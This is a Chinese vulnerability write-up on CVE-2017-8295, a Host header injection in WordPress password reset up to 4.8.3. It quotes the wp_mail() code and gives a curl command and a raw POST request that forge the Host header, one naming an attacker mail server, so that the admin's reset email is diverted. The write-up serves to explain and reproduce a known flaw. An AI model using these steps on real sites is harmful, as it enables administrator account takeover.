(CVE-2017-8295)WordPress__=4.8.3_任意密码重置_HOST头注入漏洞

# (CVE-2017-8295)WordPress <=4.8.3 任意密码重置_HOST头注入漏洞 ======================== 一、漏洞简介 ------------ 在 WordPress 2.3-4.8.3 版本中找回密码功能未正确设置发送邮件的信息,在发送找回密码邮件的过程中直接使用 Host 地址作为邮件请求头的一部分,在一些情况下攻击者可利用该功能窃取找回密码邮件内容。 二、漏洞影响 ------------ WordPress 2.3-4.8.3 三、复现过程 ------------ ### 漏洞分析 在 WordPress 中, wp\_mail() 函数用来发送邮件,在发送邮件的过程中如果没有设置 发件地址(From) ,则会自动使用 \'wordpress@\' + \$\_SERVER\[\'SERVER\_NAME\'\] 作为邮件的 发件地址。主流的 Web 服务器中的 SERVER\_NAME 变量来自于客户端请求中 HTTP\_HOST 头,这就意味着该发件地址是用户可控的。 wp\_mail() 函数的声明在文件 WordPress/wp-includes/pluggable.php 中: function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) { ...//ignore if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } /** * Filters the email address to send from. * * @since 2.2.0 * * @param string $from_email Email address to send from. */ $from_email = apply_filters( 'wp_mail_from', $from_email ); /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); $phpmailer->setFrom( $from_email, $from_name );
…//ignore
}

在某些情况下邮件服务器会直接将邮件的 发件地址 作为
退件地址(Return-Path),当邮件发送失败时邮件会被自动转发到
退件地址。因为 发件地址
可被篡改,因此找回密码邮件的内容可能会被发送到恶意的邮件服务器中。

### 漏洞复现

#### 安装 WordPress 程序

此处的管理员邮箱设置为不存在的邮箱地址
demo\@0-sec.org,用来模拟通过DNS攻击/DOS攻击使管理员的找回密码邮件发送失败

![](/static/qingy/(CVE-2017-8295)WordPress__=4.8.3_任意密码重置_HOST头注入漏洞/img/rId27.png)

#### 创建邮箱账户

演示中我们使用的是 wordpress\@0-sec.org

#### 通过在线终端,发起找回密码请求,并篡改 HTTP\_HOST 请求头

我们这里使用在线终端模拟攻击内网的 WordPress 网站。

在线终端中执行:

curl -v ‘http://0-sec.org/wp-login.php?action=lostpassword’ -H ‘Host: vulnspy.com’ –data ‘user_login=admin&redirect_to=&wp-submit=Get+New+Password’

![](/static/qingy/(CVE-2017-8295)WordPress__=4.8.3_任意密码重置_HOST头注入漏洞/img/rId30.png)

post数据包:

POST /wp/wordpress/wp-login.php?action=lostpassword HTTP/1.1
Host: injected-attackers-mxserver.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

user_login=admin&redirect_to=&wp-submit=Get+New+Password

如果此时邮件发送失败,邮件会被自动退回到
wordpress\@0-sec.org。即原本要发送管理员邮箱 demo\@0-sec.org
的邮件会被发送到 wordpress\@0-sc.org

#### 使用 wordpress\@0-sec.org 接收找回密码邮件

如果利用成功 wordpress\@v0-sec.org 会接收到密码重置邮件。

![](/static/qingy/(CVE-2017-8295)WordPress__=4.8.3_任意密码重置_HOST头注入漏洞/img/rId32.png)

如果邮件内容没有显示找回密码链接,可以通过邮件源文件发现找回密码链接

![](/static/qingy/(CVE-2017-8295)WordPress__=4.8.3_任意密码重置_HOST头注入漏洞/img/rId33.png)

#### 使用找回密码链接修改密码

image

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容